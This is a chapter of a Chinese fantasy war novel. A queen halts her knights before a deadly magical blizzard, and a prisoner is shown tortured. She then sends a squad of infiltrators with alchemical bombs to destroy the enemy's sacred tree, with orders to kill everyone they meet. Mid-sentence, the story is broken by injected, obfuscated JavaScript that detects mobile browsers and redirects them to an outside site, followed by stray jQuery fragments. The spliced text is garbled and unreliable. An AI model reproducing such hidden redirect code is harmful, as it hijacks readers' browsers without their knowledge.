风不是透明的。
是惨绿色的。
打着旋儿的暴风雪,在距离冬握城城墙还有三里的地方,形成了一道肉眼可见的诡异屏障。
这不是普通的雪。
新圣殿骑士团的先遣队,整整三百名全副武装的重甲骑士,刚刚踏入那片绿色的风雪中。
嘎吱。
走在最前面的十几个人,黑钢打造的战甲表面瞬间结出一层厚厚的绿冰。
冰层顺着战靴往上蔓延。速度极快。
一名骑士试图抬腿。
清脆的断裂声响起。
那条被冻住的腿,连着沉重的盔甲和里面的血肉,直接断成了两截。
没有流血。伤口处被一层绿霜瞬间封死。
骑士重重砸在雪地里。
嘴巴张的老大,却发不出半点声音。
后面的队伍停滞了。
恐慌在绿色的风雪中迅速发酵,很快变成了彻头彻尾的疯狂。
一名平时最守纪律的年轻骑士,突然丢掉手里的盾牌。
他双手死死抠着自己的头盔,把脸侧的铁片硬生生抠弯。
“退退退,有鬼,别过来。”
他声嘶力竭的大喊,眼珠子几乎要瞪出眼眶。
他猛的拔出腰间的长剑,毫无章法的朝着身边的战友砍去。
战友猝不及防,被一剑削掉了半个脖子。
鲜血喷涌而出,溅在绿色的积雪上,冒着热气。
发疯的骑士越来越多。
他们眼里看到的不再是同袍。
而是被自己杀死的敌人,或者是某种不可名状的恐怖怪物。
三百人的先遣队,没有死在北方人的刀剑下,却在自相残杀中倒下了一大半。
冬握城的黑石城墙上。
北方的守军看着下面这残忍又滑稽的一幕。
爆发出震天的哄笑声。
一名北方百夫长站在城垛上,解开皮带,朝着下方撒了一泡尿。
黄色的液体落在风雪里,瞬间冻成半空中的冰柱。
“南方的弱鸡。”
百夫长扯着破锣嗓子大吼。
“连我们冬握城的风都吹不了,还想来打仗。”
“滚回家找你们妈妈喝奶去吧。”
城墙上的嘲笑声和口哨声此起彼伏。
陈琳站在大阵前方的高地上。
她听不到城墙上的嘲笑。距离太远。
但她能看清那些北方士兵嚣张的动作。
陈琳握剑的手指关节因为用力过度而泛白。
那是魔法屏障。
用常规的重甲步兵去填,填多少死多少。
肉包子打狗。
“传令。”
陈琳的声音沙哑,透着一股不甘。
“全体后撤五里。安营扎寨。”
凄厉的牛角号声响起。
新圣殿骑士团如潮水般退去。只留下那片绿色风雪中一地的碎冰和尸体。
中军大帐。
外面的狂风吹得厚重的牛皮帐篷哗啦作响。
炉火在铜盆里不安的跳动。
鞠婧祎站在巨大的军事沙盘前。
代表冬握城的模型周围,被她用一根红色的炭笔画了一个重重的圈。
厚重的门帘被掀开。
寒气倒灌进来。
黑曜石卫队指挥使刘姝贤快步走入。
她的身后,两名黑衣特工拖着一个浑身是血的男人。
男人穿着北方萨满的破旧灰袍,双手被铁链死死反绑。
十根手指的指甲以经被全部拔掉。血肉模糊。
“陛下。”
刘姝贤单膝跪地。
“查清楚了。”
她从怀里掏出一叠沾着血迹的羊皮古卷,放在沙盘边缘。
“外面那道绿色的风雪,不是自然天象。是远古法阵。”
“北方的宫廷萨满张笑盈,透支了自己的生命力启动了它。他们管这叫叹息之墙。”
鞠婧祎的目光没有离开沙盘。
她拿起那叠羊皮卷,随意翻了两下。上面画满了看不懂的符文。
“阵眼在哪。”
“不在城里。”
刘姝贤抬起头,指着沙盘上冬握城后方的一片空白区域。
“在城后的圣谷。”
“那里有一棵他们信奉了上千年的世界之树。叫诺达希尔。”
刘姝贤的声音透着一丝压抑的疲惫。
“这棵树是法阵的核心。只要树不倒,这道叹息之墙就永远存再。”
“我们的军队,一步也迈不过去。”
刘姝贤咬了咬牙。
黑曜石卫队在外面拼死拼活搞情报。
查了半天,最后尽然被一棵树挡住了去路。这小丑竟是自己。
鞠婧祎扔掉羊皮卷。
她转过身,看着地上那个半死不活的北方萨满。
“这就是你们最后的底牌。”
萨满抬起头,吐出一口血水。
“南方的魔鬼。你们永远也别想踏入冬握城。”
“战神的庇护,会把你们全都冻成碎冰。”
鞠婧祎没有生气。
她甚至连拔剑的兴趣都没有。
“拖出去。喂狗。”
特工像拖死狗一样把萨满拖出大帐。
帐篷里重新安静下来。
“陛下。要不要让禁忌工坊把所有的火炮运上来。集中轰击一点。”
刘姝贤试探着问。
“没用。”
鞠婧祎冷冷打断。
“魔法屏障能吸收物理冲击。炮弹打进去,连个响都听不到。”
“我绝不会让骑士团去送死。人命填不出一条路。”
鞠婧祎走到桌案后坐下。
手指在桌面上敲击了两下。
声音清脆。
“去把袁一琦叫来。”
刘姝贤脸色变了变。
她没敢多问。低头退了出去。
半柱香后。
门帘再次被粗暴的掀开。
袁一琦大步跨进帐篷。
她身上还穿着那件沾满了各种不明污渍和干涸血迹的皮甲。
一股浓烈的硝烟和血腥味瞬间弥漫开来。
“陛下。有新活儿了?”
袁一琦根本没有行礼。
她直接走到火盆前,伸出满是老茧的手烤火。
眼睛盯着鞠婧祎,闪烁着一种病态的兴奋。
鞠婧祎站起身。走到沙盘前。
拿起一根细长的指挥棒,点在冬握城后方的圣谷位置。
“我要你带最精锐的潜行者。”
“绕开这面叹息之墙。”
“去圣谷。把那棵世界树,给我炸了。”
大帐内死寂。
刘姝贤猛的抬起头,不可置信的看着鞠婧祎。
“陛下。万万不可。”
刘姝贤一步冲到沙盘前,指着圣谷外围那片连绵不绝的冰川。
“要绕到圣谷,必须穿过这片极寒山脉。”
“那里的温度能瞬间冻掉人的手指。暴风雪一年四季不停。连飞鸟都过不去。”
“更别提圣谷是北方最后的禁区,肯定有重兵把守。”
刘姝贤看着袁一琦。
“孤军深入。没有后勤。没有支援。这就是去自杀。”
袁一琦转过头。
看着焦急的刘姝贤,嘴角咧开一个嘲讽的弧度。
“刘指挥使。情报搞多了,胆子也跟着变小了。”
“极寒山脉过不去,那就吃雪。没有后勤,那就杀北方的斥候抢干粮。”
“至于守卫。”
袁一琦舔了舔干裂的嘴唇。
“全杀了不就行了。”
“你懂什么。”
刘姝贤瞪着袁一琦,声音陡然拔高。
“那是去炸人家的祖坟和神树。北方人疯起来,会把你们撕成碎片。”
“被发现了,你们连骨头渣子都剩不下。”
袁一琦一把推开刘姝贤的肩膀。
“这泼天的炸药,终于轮到我了。”
袁一琦凑到刘姝贤耳边。
“炸人神树,这就叫不讲武德。我喜欢。”
“你这个疯子。”刘姝贤咬牙。
“够了。”
鞠婧祎的声音不大。
但帐篷里的温度仿佛又降了几分。
刘姝贤和袁一琦同时闭嘴。
鞠婧祎走到帐篷的角落。
那里堆放着十几个沉重的木箱。
她掀开其中一个木箱的盖子。
里面整齐的码放着一个个拳头大小、通体乌黑的金属圆球。
圆球表面刻满了复杂的红色炼金阵纹。
“禁忌工坊最新研制的炼金炸药。代号地龙。”
鞠婧祎拿起一个黑球。
红色的阵纹在昏暗的光线下流转着危险的光芒。
“里面压缩了高浓度的炎魔之血和不稳定晶核。”
“只需要三个,就能把这整座中军大营炸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424118|200850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上天。”
鞠婧祎把手里的黑球抛给袁一琦。
袁一琦稳稳接住。手指在圆球表面摩挲。
感受着里面那股狂暴的毁灭力量。
“箱子里的炸药,全归你。”
鞠婧祎转过身,看着沙盘上的冬握城。
“刘姝贤。你以为我只是想破掉这面墙。”
鞠婧祎的声音冰冷得没有任何温度。
“不。我要的,是他们再也无法生长的绝望。”
她拿起那根红色的指挥棒。
用力一挥。
直接将代表世界树的那个木质模型打得粉碎。
木屑飞溅在沙盘上。
“战神的雕像被推倒,他们可以在废墟上重建。”
“但千年的古树一旦化为灰烬。北方的魂,就彻底断了。”
“我要让孙芮眼睁睁看着,她誓死守护的东西,是怎么被连根拔起的。”
鞠婧祎扔掉指挥棒。
“这是死命令。必须完成。”
刘姝贤低下头。
她知道,一旦女王决定了的事。没有任何人能改变。
她后退两步。隐入帐篷的阴影中。
袁一琦将那个黑色炸弹塞进皮甲的夹层。
她脸上的笑容越来越大。露出森白的牙齿。
“陛下。等我的好消息。”
“我会让这棵破树的灰烬,飘满整个北方。”
袁一琦转身冲出大帐。
深夜。
狮鹫军团的专属营地。
这里没有其他营地那种整齐的篝火和巡逻队。
到处都是磨刀的声音和压抑的咒骂。
袁一琦站在高高的木箱上。
下面站着三百个穿着黑色紧身皮甲的人。
这是狮鹫军团里最精锐的潜行者。
他们没有名字。只有代号。
他们全都是背负着死罪的亡命徒、变态杀手、或者被剥夺了一切的破产者。
袁一琦看着下面这三百双如同饿狼般的眼睛。
“听着。”
袁一琦的声音在寒风中传开。
“我们要去极寒山脉。去炸北方人的祖宗神树。”
下面一阵骚动。
不是恐惧。而是嗜血的躁动。
“十死无生。”
袁一琦竖起一根手指。
“去的人,大概率回不来。”
“会被冻死,被雪崩埋了,被北方的蛮子切成碎块。”
“现在。”
袁一琦拔出腰间的短剑。
剑尖指着下方的雪地。
“不想去的。往后退一步。我不杀你们。你们可以留在营地里吃冷饭。”
寒风呼啸。
三百个人。
没有一个人往后退。
他们站在原地。像一排排黑色的铁钉,死死钉在雪地里。
一名脸上有着巨大刀疤的潜行者咧开嘴。
“将军。留在营地里太无聊了。”
“炸神树这种事。死了也值。”
袁一琦满意的点了点头。
她收起短剑。
“很好。”
她指着旁边堆放的木箱。
“把这些黑球分了。每人带两个。”
“路上遇到任何人,不管是平民还是士兵,全杀。不要留活口。”
“如果有人冻僵了走不动。自己抹脖子。别拖累队伍。”
潜行者们排队上前。
沉默的领取着那些装满毁灭力量的炼金炸药。
没有誓师大会。
没有烈酒壮行。
只有冰冷的武器碰撞声。
午夜时分。
冬握城外的风雪达到了最狂暴的顶点。
气温降到了滴水成冰的程度。
连巡逻的骑士都躲进了帐篷。
袁一琦拉起黑色的面罩。遮住下半张脸。
只露出一双闪着寒光的眼睛。
她看了一眼远处的叹息之墙。
绿色的光芒在黑暗中扭曲、翻滚。
“走。”
袁一琦下达了命令。
三百名潜行者转过身。
他们没有点火把。
如同一群没有实体的幽灵,一头扎进了那片连飞鸟都无法逾越的死亡山脉。
很快。
黑色的身影被漫天的飞雪彻底吞噬。
地上连脚印都没有留下。
风雪依旧在嚎叫。
掩盖了一切杀机。